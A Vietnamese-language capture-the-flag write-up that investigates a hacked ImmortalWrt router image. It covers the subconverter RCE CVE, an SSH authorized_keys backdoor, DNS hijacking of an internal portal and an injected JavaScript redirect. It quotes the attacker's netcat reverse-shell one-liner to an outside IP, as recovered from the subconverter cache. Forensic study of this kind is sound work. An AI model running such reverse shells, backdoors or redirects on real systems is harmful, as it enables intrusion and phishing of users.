[R3CTF] DFIR1: Lost In Router
Router OS openwrt/immortalwrt forensics
Mô tả
You are a staff member at a company. Today, when you opened your company’s internal website, a notification prompted you to update your browser. After downloading the file from the website, nothing happened. Subsequently, you learned from the IT department that the company’s router had been hacked.
Link tải
https://drive.google.com/file/d/1u6YjTO_Dvg0jIEA3iDB_W6TNhvryw3nE/view
https://pan.baidu.com/s/1yylpoWaX9x9pqk9GseNceQ?pwd=R325
Bài cho một file router.img
Phân tích
Q1: What is the OS version of the router?
Mở file img trong ftk imager có 2 ổ, 1 ổ EFI và ổ nhớ của linux. Khi kiểm tra EFI thì ngoài thư mục boot ra còn có một thư mục tên là openwrt. OpenWRT có tên đầy đủ là Open Wireless Router. Đây là một hệ điều hành dựa trên Linux được thiết kế đặc biệt để sử dụng trên các thiết bị mạng như router
Vậy trong câu 1 ta sẽ phải đi tìm phiên bản hệ điều hành của openwrt được tải trên con router. Tìm kiếm trên mạng cách xem thì thấy chứa trong các file /etc/openwrt_release
nhưng trong file img lại không có
Tìm thêm trong tài liệu của openwrt thì thấy hđh này cũng có một pakage manager riêng tên là opkg và vào thư mục của opkg /etc/opkg/distfeeds.conf
thì biết được router sử dụng một bản khác của openwrt là ImmortalWrt
ImmortalWrt is a fork of OpenWrt, with more packages ported, more devices supported, better performance, and special optimizations for mainland China users.
1
2
3
4
5
6
src/gz immortalwrt_core https://mirror.nju.edu.cn/immortalwrt/releases/23.05.4/targets/armsr/armv8/packages
src/gz immortalwrt_base https://mirror.nju.edu.cn/immortalwrt/releases/23.05.4/packages/aarch64_generic/base
src/gz immortalwrt_luci https://mirror.nju.edu.cn/immortalwrt/releases/23.05.4/packages/aarch64_generic/luci
src/gz immortalwrt_packages https://mirror.nju.edu.cn/immortalwrt/releases/23.05.4/packages/aarch64_generic/packages
src/gz immortalwrt_routing https://mirror.nju.edu.cn/immortalwrt/releases/23.05.4/packages/aarch64_generic/routing
src/gz immortalwrt_telephony https://mirror.nju.edu.cn/immortalwrt/releases/23.05.4/packages/aarch64_generic/telephony
Phiên bản hđh router đang sử dụng là 23.05.4
23.05.4
Q2: What is the IP address of the attacker’s machine?
Tiếp tục xem qua các file trong hệ thống thì trong passwd
thấy rằng chỉ có duy nhất người dùng root
có thể thực hiện lệnh shell. Vậy nếu hacker muốn thực hiện lệnh trên con router sẽ phải qua root
, cho nên vào trong thư mục root/
để kiểm tra
1
2
3
4
5
6
7
8
9
root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
ntp:x:123:123:ntp:/var/run/ntp:/bin/false
dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false
logd:x:514:514:logd:/var/run/logd:/bin/false
ubus:x:81:81:ubus:/var/run/ubus:/bin/false
Người dùng root có tải phần mềm subconverter
và trong phần cache của chương trình đó có lệnh thực hiện một reverse shell bằng javascript root/subconverter/cache/dad176d5807526bf19069ecce4f14bfe
1
2
3
function parse(x) {
os.exec([ "sh", "-c", "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 156.238.233.47 31426 >/tmp/f" ], { file: "sh" })
}
Hàm này mở 1 reverse shell kết nối đến 156.238.233.47:31426, đây cũng chính là IP của hacker
156.238.233.47
Q3: What is the CVE number of the vulnerability exploited by the attacker?
Biết được hacker đã sử dụng subconverter
để tạo reverse shell, tìm subconverter rce cve
trên google sẽ thấy kết quả CVE-2022-28927
A remote code execution (RCE) vulnerability in Subconverter v0.7.2 allows attackers to execute arbitrary code via crafted config and url parameters.
CVE-2022-28927
Q4: What program’s configuration was modify by the attacker to do persistence?
Trước hết kiểm tra trong /etc/config
xem có những phần mềm nào nổi bật không, thấy có luci
, đây là giao diện cấu hình của openwrt
1
2
3
4
5
6
7
8
config extern 'flash_keep'
option uci '/etc/config/'
option dropbear '/etc/dropbear/'
option openvpn '/etc/openvpn/'
option passwd '/etc/passwd'
option opkg '/etc/opkg.conf'
option firewall '/etc/firewall.user'
option uploads '/lib/uci/upload/'
flash_keep
liệt kê các file/folder sẽ được giữ lại khi:
- Upgrade firmware
- Reset nhưng giữ config
Vậy khi thực hiện persistence hacker khả năng cao sẽ sử dụng 1 hoặc nhiều các option trên kia. Cuối cùng kiểm tra dropbear
- đây là một SSH server/client được sử dụng trong các hệ thống nhúng như router, khi kiểm tra /etc/dropbear
sẽ thấy các key và khi xem authorized_keys
sẽ thấy
1
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBbrcKcmmPoh/U+5gF2lppicVGS3tvQgKEXGw2QXIPdE citlali@teyvat
Đây là public key được thêm vào authorized_keys
cho phép bất kỳ ai có private key tương ứng login SSH vào router mà không cần password
Hacker thêm key này => persistence qua SSH backdoor. Comment citlali@teyvat
có thể là username@hostname máy của hacker
dropbear
Q5: What is the host hijacked by the attacker?
Trong /etc/config/dhcp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
config dnsmasq
option domainneeded '1'
option localise_queries '1'
option rebind_protection '1'
option rebind_localhost '1'
option local '/lan/'
option domain 'lan'
option expandhosts '1'
option min_cache_ttl '3600'
option use_stale_cache '3600'
option cachesize '8000'
option nonegcache '1'
option authoritative '1'
option readethers '1'
option leasefile '/tmp/dhcp.leases'
option resolvfile '/tmp/resolv.conf.d/resolv.conf.auto'
option localservice '1'
option dns_redirect '1'
option ednspacket_max '1232'
list address '/10.0.2.15/portal.r3.internal'
config dhcp 'lan'
option interface 'lan'
option start '100'
option limit '150'
option leasetime '12h'
option dhcpv4 'server'
option ra 'server'
option ra_slaac '1'
list ra_flags 'other-config'
option max_preferred_lifetime '2700'
option max_valid_lifetime '5400'
config dhcp 'wan'
option interface 'wan'
option ignore '1'
config odhcpd 'odhcpd'
option maindhcp '0'
option leasefile '/tmp/hosts/odhcpd'
option leasetrigger '/usr/sbin/odhcpd-update'
option loglevel '4'
list address '/10.0.2.15/portal.r3.internal'
gán domain portal.r3.internal
về IP 10.0.2.15
portal.r3.internal
Q6: What host did the attacker use to host malicious artifacts?
Hint: If you found an IP address from Q5, that is the IP address of the router itself.
Dựa trên hint biết được IP của router là 10.0.2.15
và đã inject mã độc vào phần webui (luci) của chính router đó, khi kiểm tra thư mục www/
thì biết rằng hacker đã inject một file javascript bootstrap.min.js
vào server
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Expires" content="0" />
<meta http-equiv="Expires" content="Thu, 01 Jan 1970 00:00:00 GMT" />
<meta http-equiv="refresh" content="0; URL=cgi-bin/luci/" />
<script src="/luci-static/bootstrap/bootstrap.min.js"></script>
<style type="text/css">
body { background: white; font-family: arial, helvetica, sans-serif; }
a { color: black; }
@media (prefers-color-scheme: dark) {
body { background: black; }
a { color: white; }
}
</style>
</head>
<body>
<a href="cgi-bin/luci/">LuCI - Lua Configuration Interface</a>
</body>
</html>
Kiểm tra file bootstrap.min.js
thấy rằng nó đã bị obfuscated sử dụng jsjiami.com.v7
để deobf code js này ta sẽ sử dụng tool https://github.com/pxx917144686/js
Tải về và sử dụng nodejs 18.17.1 để chạy. Option -t sojsonv7
sử dụng cho jsjiami.com.v7
1
node src/main.js -t sojsonv7 -i .\bootstrap.min.js -o output.js
Ta có file output.js
với nội dung sau
1
2
(function () {})();
window.location.host == "portal.r3.internal" && (window.location.href = "https://nimble-bonbon-d941a8.netlify.app/");
Kiểm tra host hiện tại có phải là portal.r3.internal
không, nếu đúng thì trình duyệt sẽ bị chuyển hướng sang https://nimble-bonbon-d941a8.netlify.app/
nimble-bonbon-d941a8.netlify.app